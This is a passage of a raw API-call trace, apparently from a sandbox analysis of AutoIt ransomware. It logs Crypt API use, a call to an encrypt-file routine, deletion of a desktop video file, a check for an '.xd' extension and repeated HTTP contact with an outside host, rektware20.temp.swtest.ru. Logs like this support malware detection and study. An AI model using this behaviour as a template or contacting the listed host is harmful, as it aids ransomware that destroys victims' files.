lpMsg=0x130e7f4) returned 0 [0075.273] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0075.273] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0075.274] CryptDestroyKey (hKey=0x164c8b0) returned 1 [0075.274] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.274] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.274] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.274] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.274] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.274] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.274] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.274] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.274] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.274] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0075.274] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.274] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.274] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.274] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.274] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.274] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.274] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.275] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.275] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.275] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.275] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.275] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.275] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.275] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.275] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.275] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.278] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.278] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.281] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0075.281] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0075.281] CryptReleaseContext (hProv=0x16323a8, dwFlags=0x0) returned 1 [0075.281] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.281] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.281] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.282] FreeLibrary (hLibModule=0x74c60000) returned 1 [0075.282] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.282] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.282] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.282] CloseHandle (hObject=0x3d8) returned 1 [0075.282] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.282] CloseHandle (hObject=0x3d0) returned 1 [0075.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.287] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.288] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", lpFilePart=0x0) returned 0x29 [0075.288] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\f0nauit.mp4")) returned 0x20 [0075.288] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0075.288] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\f0nauit.mp4")) returned 1 [0075.304] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0075.305] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0075.305] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.305] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.305] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.305] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.305] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0075.306] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0075.306] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.306] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0075.306] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.306] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0075.306] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0075.306] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ef8c) returned 1 [0075.306] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.306] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.307] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.308] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0075.308] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0075.309] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0075.309] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0075.309] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0075.309] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.310] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.310] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.310] CloseHandle (hObject=0x0) returned 0 [0075.310] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.312] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EPIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PIVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IVxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vxt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xt8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mfsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fsz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sz5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0075.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.314] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.314] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0075.314] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.314] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0075.314] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0075.314] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.315] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0075.315] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0075.315] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c) returned 1 [0075.315] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.315] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.315] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.316] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0075.316] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0075.316] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0075.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629210, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629210*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0075.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629380, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629380*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0075.316] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.317] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.317] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.317] CloseHandle (hObject=0x0) returned 0 [0075.318] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.318] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\i4EPIVxt8mfsz5.mp4", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0075.318] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0075.319] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.319] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.319] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.319] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.319] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.319] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.319] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0075.320] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.320] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.320] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0075.320] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.320] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, 